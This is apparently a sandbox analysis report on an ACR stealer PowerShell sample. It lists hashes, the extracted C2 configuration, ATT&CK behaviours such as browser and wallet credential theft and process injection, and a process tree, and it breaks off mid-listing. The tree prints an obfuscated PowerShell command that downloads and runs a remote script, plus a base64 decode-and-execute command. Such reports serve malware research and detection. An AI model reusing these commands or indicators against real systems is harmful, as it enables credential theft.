acrstealer | e7db338d34e00533b9f5bd8d79b583908b8d3cf2002e84c285861b4145ffe1ef

Analysis

max time kernel
137s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/10/2026, 06:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a550019a6490.ps1
Size 226KB
Sample261030-g5j7asdf57
SHA256 e7db338d34e00533b9f5bd8d79b583908b8d3cf2002e84c285861b4145ffe1ef
MD5 db36fa0eddb6945230ef17a29acaa564
SHA1 d873470cb49485e277e49a19d40a4c93bcb5deab
SHA512 5db78965c564080298ecfc487947548a853c5c1d42f7a057dc4de2a8f6e096fcd101d68323975a87ffb95da60de47c65d169c2852c87e7c8955198069ad65556
SSDEEP 6144:Hb2RBtseKrDxCQpQ/3R2XGerz0m7fn3Fp6+oFh:7QBIMyEcXGeJfP3M
TLSH
T1BF34832439C0A666128DDCB72C411C1DA9C9F577E3876C4D79CF49C5AF879B88AEC838
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution acrstealer persistence privilege_escalation spyware stealer

Malware Config

Extracted

Family

acrstealer

Version

4.5.3-alpha1

smtp.briskgrab.cc

Decoy

cloudflare.com

Attributes

guids
019fd851-d0e2-7805-ae09-2dd1daa78960

f1575b64-8492-4e8b-b102-4d26e8c70371
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs

defense_evasion privilege_escalation

Parent PID Spoofing

T1134.004

description	pid	Process	procid_target
PID 2488 created 1948	2488	rundll32.exe	80
PID 2488 created 1948	2488	rundll32.exe	80
PID 2488 created 1948	2488	rundll32.exe	80

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	4372	powershell.exe
10	2488	rundll32.exe
60	2488	rundll32.exe
61	2488	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2712	powershell.exe
1960	powershell.exe
4440	PowerShell.exe
4372	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3744	chrome.exe
5788	msedge.exe

Checks processor information in registry 2 TTPs 11 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4440	PowerShell.exe
4440	PowerShell.exe
4440	PowerShell.exe
4440	PowerShell.exe
4372	powershell.exe
4372	powershell.exe
4372	powershell.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe

Suspicious behavior: MapViewOfSection 1 TTPs 4 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe
2488	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

pid	Process
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4608	msedge.exe
4608	msedge.exe
4608	msedge.exe
4608	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4440	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	4440	PowerShell.exe
Token: SeSecurityPrivilege	4440	PowerShell.exe
Token: SeTakeOwnershipPrivilege	4440	PowerShell.exe
Token: SeLoadDriverPrivilege	4440	PowerShell.exe
Token: SeSystemProfilePrivilege	4440	PowerShell.exe
Token: SeSystemtimePrivilege	4440	PowerShell.exe
Token: SeProfSingleProcessPrivilege	4440	PowerShell.exe
Token: SeIncBasePriorityPrivilege	4440	PowerShell.exe
Token: SeCreatePagefilePrivilege	4440	PowerShell.exe
Token: SeBackupPrivilege	4440	PowerShell.exe
Token: SeRestorePrivilege	4440	PowerShell.exe
Token: SeShutdownPrivilege	4440	PowerShell.exe
Token: SeDebugPrivilege	4440	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	4440	PowerShell.exe
Token: SeRemoteShutdownPrivilege	4440	PowerShell.exe
Token: SeUndockPrivilege	4440	PowerShell.exe
Token: SeManageVolumePrivilege	4440	PowerShell.exe
Token: 33	4440	PowerShell.exe
Token: 34	4440	PowerShell.exe
Token: 35	4440	PowerShell.exe
Token: 36	4440	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	4440	PowerShell.exe
Token: SeSecurityPrivilege	4440	PowerShell.exe
Token: SeTakeOwnershipPrivilege	4440	PowerShell.exe
Token: SeLoadDriverPrivilege	4440	PowerShell.exe
Token: SeSystemProfilePrivilege	4440	PowerShell.exe
Token: SeSystemtimePrivilege	4440	PowerShell.exe
Token: SeProfSingleProcessPrivilege	4440	PowerShell.exe
Token: SeIncBasePriorityPrivilege	4440	PowerShell.exe
Token: SeCreatePagefilePrivilege	4440	PowerShell.exe
Token: SeBackupPrivilege	4440	PowerShell.exe
Token: SeRestorePrivilege	4440	PowerShell.exe
Token: SeShutdownPrivilege	4440	PowerShell.exe
Token: SeDebugPrivilege	4440	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	4440	PowerShell.exe
Token: SeRemoteShutdownPrivilege	4440	PowerShell.exe
Token: SeUndockPrivilege	4440	PowerShell.exe
Token: SeManageVolumePrivilege	4440	PowerShell.exe
Token: 33	4440	PowerShell.exe
Token: 34	4440	PowerShell.exe
Token: 35	4440	PowerShell.exe
Token: 36	4440	PowerShell.exe
Token: SeDebugPrivilege	4372	powershell.exe
Token: SeShutdownPrivilege	4876	chrome.exe
Token: SeCreatePagefilePrivilege	4876	chrome.exe
Token: SeShutdownPrivilege	4876	chrome.exe
Token: SeCreatePagefilePrivilege	4876	chrome.exe
Token: SeShutdownPrivilege	4876	chrome.exe
Token: SeCreatePagefilePrivilege	4876	chrome.exe
Token: SeShutdownPrivilege	4876	chrome.exe
Token: SeCreatePagefilePrivilege	4876	chrome.exe
Token: SeShutdownPrivilege	4876	chrome.exe
Token: SeCreatePagefilePrivilege	4876	chrome.exe
Token: SeShutdownPrivilege	4876	chrome.exe
Token: SeCreatePagefilePrivilege	4876	chrome.exe
Token: SeShutdownPrivilege	4876	chrome.exe
Token: SeCreatePagefilePrivilege	4876	chrome.exe
Token: SeShutdownPrivilege	4876	chrome.exe
Token: SeCreatePagefilePrivilege	4876	chrome.exe
Token: SeShutdownPrivilege	4876	chrome.exe
Token: SeCreatePagefilePrivilege	4876	chrome.exe
Token: SeShutdownPrivilege	4876	chrome.exe
Token: SeCreatePagefilePrivilege	4876	chrome.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4876	chrome.exe
4608	msedge.exe
4896	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4440 wrote to memory of 4372	4440	PowerShell.exe	91
PID 4372 wrote to memory of 2488	4372	powershell.exe	94
PID 4372 wrote to memory of 2488	4372	powershell.exe	94
PID 2488 wrote to memory of 4876	2488	rundll32.exe	95
PID 4876 wrote to memory of 3540	4876	chrome.exe	96
PID 4876 wrote to memory of 3744	4876	chrome.exe	98
PID 4876 wrote to memory of 5000	4876	chrome.exe	100
PID 4876 wrote to memory of 5000	4876	chrome.exe	100
PID 4876 wrote to memory of 4516	4876	chrome.exe	101
PID 4876 wrote to memory of 4516	4876	chrome.exe	101
PID 4876 wrote to memory of 3520	4876	chrome.exe	102
PID 4876 wrote to memory of 3520	4876	chrome.exe	102
PID 4876 wrote to memory of 3488	4876	chrome.exe	99
PID 4876 wrote to memory of 3488	4876	chrome.exe	99
PID 4876 wrote to memory of 4964	4876	chrome.exe	103
PID 4876 wrote to memory of 4964	4876	chrome.exe	103
PID 4876 wrote to memory of 3684	4876	chrome.exe	104
PID 4876 wrote to memory of 2320	4876	chrome.exe	105
PID 4876 wrote to memory of 4004	4876	chrome.exe	106
PID 4876 wrote to memory of 2320	4876	chrome.exe	105
PID 4876 wrote to memory of 4004	4876	chrome.exe	106
PID 4876 wrote to memory of 268	4876	chrome.exe	109
PID 4876 wrote to memory of 256	4876	chrome.exe	110
PID 4876 wrote to memory of 268	4876	chrome.exe	109
PID 4876 wrote to memory of 5540	4876	chrome.exe	111
PID 4876 wrote to memory of 256	4876	chrome.exe	110
PID 4876 wrote to memory of 5540	4876	chrome.exe	111
PID 4876 wrote to memory of 3808	4876	chrome.exe	112
PID 4876 wrote to memory of 5100	4876	chrome.exe	113
PID 4876 wrote to memory of 3808	4876	chrome.exe	112
PID 4876 wrote to memory of 5100	4876	chrome.exe	113
PID 4876 wrote to memory of 4012	4876	chrome.exe	114
PID 4876 wrote to memory of 4012	4876	chrome.exe	114
PID 4876 wrote to memory of 3248	4876	chrome.exe	115
PID 4876 wrote to memory of 3248	4876	chrome.exe	115
PID 4876 wrote to memory of 4892	4876	chrome.exe	116
PID 4876 wrote to memory of 4892	4876	chrome.exe	116
PID 4876 wrote to memory of 4456	4876	chrome.exe	117
PID 4876 wrote to memory of 4456	4876	chrome.exe	117
PID 4876 wrote to memory of 4888	4876	chrome.exe	118
PID 4876 wrote to memory of 4888	4876	chrome.exe	118
PID 4876 wrote to memory of 2576	4876	chrome.exe	119
PID 4876 wrote to memory of 2576	4876	chrome.exe	119
PID 4876 wrote to memory of 4924	4876	chrome.exe	120
PID 4876 wrote to memory of 5640	4876	chrome.exe	121
PID 4876 wrote to memory of 4628	4876	chrome.exe	122
PID 2488 wrote to memory of 4608	2488	rundll32.exe	123
PID 4608 wrote to memory of 5976	4608	msedge.exe	124
PID 4608 wrote to memory of 2060	4608	msedge.exe	125
PID 4608 wrote to memory of 5788	4608	msedge.exe	127
PID 4608 wrote to memory of 2060	4608	msedge.exe	125
PID 4608 wrote to memory of 2060	4608	msedge.exe	125
PID 4608 wrote to memory of 4204	4608	msedge.exe	128
PID 4608 wrote to memory of 4204	4608	msedge.exe	128
PID 4608 wrote to memory of 948	4608	msedge.exe	129
PID 4608 wrote to memory of 948	4608	msedge.exe	129
PID 4608 wrote to memory of 948	4608	msedge.exe	129
PID 4608 wrote to memory of 3236	4608	msedge.exe	130
PID 4608 wrote to memory of 3236	4608	msedge.exe	130
PID 4608 wrote to memory of 3236	4608	msedge.exe	130
PID 4608 wrote to memory of 1412	4608	msedge.exe	131
PID 4608 wrote to memory of 1412	4608	msedge.exe	131
PID 4608 wrote to memory of 1412	4608	msedge.exe	131
PID 4608 wrote to memory of 1512	4608	msedge.exe	132

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
PID:1948
- C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\a550019a6490.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4440
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& (gcm ir*m) 'https://15c37b0b-6082-4d79-a8fb-684889fff896.corsagescion.cc/cinstall.ps1' | & (gcm i*x)"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4372
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2488
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        
        PID:5624
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=[Console]::In.ReadToEnd();$s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b));& ([scriptblock]::Create($s))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2712
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=[Console]::In.ReadToEnd();$s=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b));& ([scriptblock]::Create($s))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1960
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check about:blank
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4876
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x138,0x13c,0x140,0xac,0x144,0x7ffc68fcc728,0x7ffc68fcc734,0x7ffc68fcc740
    3⤵
    PID:3540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1880,i,2122950468045223406,16511958562210302090,524288 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=2076 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=156,i,7967253785699114662,14399257866741698216,262144 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=2040 /prefetch:2
    3⤵
    PID:3488
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2236,i,15227552771177946460,10112626147217640683,524288 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=2580 /prefetch:13
    3⤵
    PID:5000
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3048,i,14439855680205293070,561722521718752652,2097152 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=3060 /prefetch:1
    3⤵
    PID:4516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3052,i,9130233893635949828,9240737661688669219,2097152 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=3084 /prefetch:1
    3⤵
    PID:3520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4536,i,17340096281702806009,4636569763757415401,524288 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=4600 /prefetch:14
    3⤵
    PID:4964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5132,i,1919481262901293924,14907169107509938608,524288 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5144 /prefetch:14
    3⤵
    PID:3684
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5240,i,1760302582005382610,6936461684589579568,2097152 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5268 /prefetch:1
    3⤵
    PID:2320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5232,i,9547339185047423414,17774820338914000630,2097152 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5248 /prefetch:1
    3⤵
    PID:4004
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5224,i,7599805416996412404,1846293570269211748,2097152 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5280 /prefetch:1
    3⤵
    PID:268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5544,i,10626096398469302886,13179637929267148288,524288 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:14
    3⤵
    PID:256
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5228,i,2728782766317263143,2191103566790027129,2097152 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5240 /prefetch:1
    3⤵
    PID:5540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5968,i,574137621630346985,3827033734895833365,2097152 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:1
    3⤵
    PID:3808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5264,i,7233887673325666697,5328361226194542652,2097152 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5552 /prefetch:1
    3⤵
    PID:5100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5240,i,3029790527484101542,10123184477312609335,524288 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5440 /prefetch:14
    3⤵
    PID:4012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5260,i,4791971676816214218,14037970351132753919,2097152 --field-trial-handle=2052,i,3154527423720711914,11446322058689128017,262144 --variations-seed-version --mojo-platform-channel-handle=5844 /prefetch:1
    3⤵
    PID:3248
- - C:\Program Files\Google\Chrome\Application\chrome.exe
